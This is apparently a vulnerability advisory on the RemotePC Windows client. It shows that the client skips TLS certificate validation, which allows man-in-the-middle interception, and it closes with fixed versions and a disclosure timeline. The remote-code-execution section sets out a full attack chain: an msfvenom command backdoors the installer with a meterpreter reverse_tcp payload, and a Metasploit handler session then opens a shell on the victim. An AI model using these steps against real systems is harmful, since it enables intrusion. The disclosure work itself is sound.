Introduction
During an audit we executed in 2019, we had to test a deployment where a third party company had to remotely connect to special purpose computers to perform maintenance. At the time, they had chosen a software called RemotePC to remotely login into these special purpose computers rather than relying on RDP. RemotePC is a a remote desktop software that lets a support agent remotely connect to a computer and take control of keyboard, mouse, and screen. It's quite similar to TeamViewer.
Transport security fell into the scope of this specific audit so we covered all communication channels established by RemotePC clients. Turns out RemotePC Windows client does not properly validate SSL certificates, allowing a man-in-the-middle attacker to:
- capture credentials when user logs in with remotepc account
- observe the remotely accessed desktop, inject keystrokes and mouse events
- hijack the auto-update mechanism in order to get the RemotePC client to execute an arbitrary executable, leading to remote command execution
Testing RemotePC Client SSL/TLS
We checked if the client is resilient to man-in-the-middle attacks by intercepting traffic going to remotepc.com hosts and redirecting it to a running instance of qsslcaudit. The excerpt below is representative of all outgoing connections established by the RemotePC client. Any certificate will be accepted, regardless of the host being accessed (www1.remotepc.com, web1.remotepc.com, version.remotepc.com, desktop.remotepc.com, broker.remotepc.com, ...).
preparing selected tests...
skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate
skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate
SSL library used: OpenSSL 1.0.2i 22 Sep 2016
running test #1: certificate trust test with user-supplied certificate
listening on 192.168.1.29:443
connection from: 192.168.1.13:50519
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: zvRgQ97fyTccE5daHsvmqQ==
Sec-WebSocket-Version: 13
disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished
running test #2: certificate trust test with self-signed certificate for user-supplied common name
listening on 192.168.1.29:443
connection from: 192.168.1.13:50520
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: zqzl1xxph4Ff7VqcQ7FU2g==
Sec-WebSocket-Version: 13
disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished
running test #3: certificate trust test with self-signed certificate for www.example.com
listening on 192.168.1.29:443
connection from: 192.168.1.13:50521
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: yz8c8xsrLCgQ8VWSpbybbg==
Sec-WebSocket-Version: 13
disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished
running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate
listening on 192.168.1.29:443
connection from: 192.168.1.13:50523
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: W46qIet5+wJvv+C6VDETDA==
Sec-WebSocket-Version: 13
disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished
running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate
listening on 192.168.1.29:443
connection from: 192.168.1.13:50524
SSL connection established
received data: GET /proxy/remotehosts HTTP/1.1
User-Agent: websocket-sharp/1.0
Host: broker13.remotepc.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: ztV0ldUHwmAmfKFgsWKdcA==
Sec-WebSocket-Version: 13
disconnected
report:
test failed, client accepted fake certificate, data was intercepted
test finished
tests results summary table:
+----+------------------------------------+------------+-----------------------------+
| ## | Test Name | Result | Comment |
+----+------------------------------------+------------+-----------------------------+
| 1 | custom certificate trust | FAILED | mitm possible |
| 2 | self-signed certificate for target | FAILED | mitm possible |
| | domain trust | | |
| 3 | self-signed certificate for invali | FAILED | mitm possible |
| | d domain trust | | |
| 4 | custom certificate for target doma | FAILED | mitm possible |
| | in trust | | |
| 5 | custom certificate for invalid dom | FAILED | mitm possible |
| | ain trust | | |
+----+------------------------------------+------------+-----------------------------+
most likely all connections were established by the same client, some collected details:
source host: 192.168.1.13
protocol: TLSv1.2
accepted ciphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_DHE_DSS_WITH_AES_256_CBC_SHA256:TLS_DHE_DSS_WITH_AES_128_CBC_SHA256:TLS_DHE_DSS_WITH_AES_256_CBC_SHA:TLS_DHE_DSS_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA:TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_RC4_128_MD5
SNI: broker13.remotepc.com
qsslcaudit version: 0.4.0
Turning Unsafe Update into RCE
To fully demonstrate the impact, we used the update process which is also vulnerable to man-in-the-middle attacks.
When the RemotePC service starts (the service is set to auto-start on boot), the following request is sent to www.remotepc.com:
Host: www.remotepc.com
Connection: close
The server answers with the latest available version of RemotePC:
Server: nginx
Date: Tue, 13 Aug 2019 13:53:37 GMT
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 57
Connection: close
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15768000
{releaseDate=2019-06-01 00:08:30.0, versionNumber=7.6.12}
By intercepting the response and modifying the "versionNumber" value, we can make the following popup show up:
Server: nginx
Date: Tue, 13 Aug 2019 13:53:37 GMT
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 56
Connection: close
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-FRAME-OPTIONS: SAMEORIGIN
Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15768000
{releaseDate=2019-08-05 00:08:30.0, versionNumber=7.7.3}
When the user clicks on “here”, the application downloads the latest version from desktop.remotepc.com:
Host: desktop.remotepc.com
Connection: close
We therefore downloaded the legitimate version and backdoored it with Metasploit's meterpreter:
-p windows/meterpreter/reverse_tcp lhost=192.168.1.29 lport=4444 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o RemotePCbd.exe
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai chosen with final size 422
Payload size: 422 bytes
Final size of exe file: 400896 bytes
Saved as: RemotePCbd.exe
We copied it to a rogue server, acting as the man-in-the-middle attacker:
When we serve the malicious executable while intercepting the RemotePC client communications, we obtain a reverse shell on the victim's computer:
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set LHOST 192.168.1.29
LHOST => 192.168.1.29
msf5 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.29:4444
[*] Sending stage (179779 bytes) to 192.168.1.13
[*] Meterpreter session 3 opened (192.168.1.29:4444 -> 192.168.1.13:50610) at 2019-08-13 16:11:12 +0200
msf5 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer : WIN7TARGET
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Snooping on Remote Desktop
We did not investigate how to inject arbitrary keystrokes and mouse events within the established session, but we are pretty confident it can be done with little reverse engineering effort. Observing remotely accessed desktop can be done by carving MPEG frames out of the decapsulated stream.
Conclusion
As explained in the introduction, all versions prior to 7.6.26-28/04/20 are vulnerable. We strongly recommend anyone using RemotePC to update to the latest version available at https://www.remotepc.com/download.htm
Watch out for the exact release date because RemotePC published different releases with the same version number. For example, version 7.6.26 was release 6 times:
- 7.6.26 04/28/2020
- 7.6.26 04/22/2020
- 7.6.26 04/15/2020
- 7.6.26 04/08/2020
- 7.6.26 04/03/2020
- 7.6.26 03/30/2020
We also recommend you not to trust any release note published by Remote PC :)
Coordinated Disclosure Timeline
- **02/09/2019**: Escalated to the vendor via support ticket.
- **05/02/2020**: Nothing happened for 5 months. We re-notify vendor, this time enforcing 90 days disclosure policy.
- **06/02/2020**: Checked latest version (7.6.23), still affected by vulnerability
- **10/02/2020**: RemotePC support says "We have forwarded this to our back-end technical team for further analysis. We will contact you with an update as soon as we have one."
- **19/02/2020**: RemotePC support says "Our team is working on this. We will keep you posted after we get an update.""
- **20/02/2020**: RemotePC says "Our security team is reviewing the points and we will update soon."
- **17/04/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-15/04/20). Turns out it's not.
- **22/04/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-22/04/20). Turns out it's not.
- **04/05/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-28/04/20). Turns out it is !
- **05/05/2020**: End of 90 days.
- **06/05/2020**: Advisory release.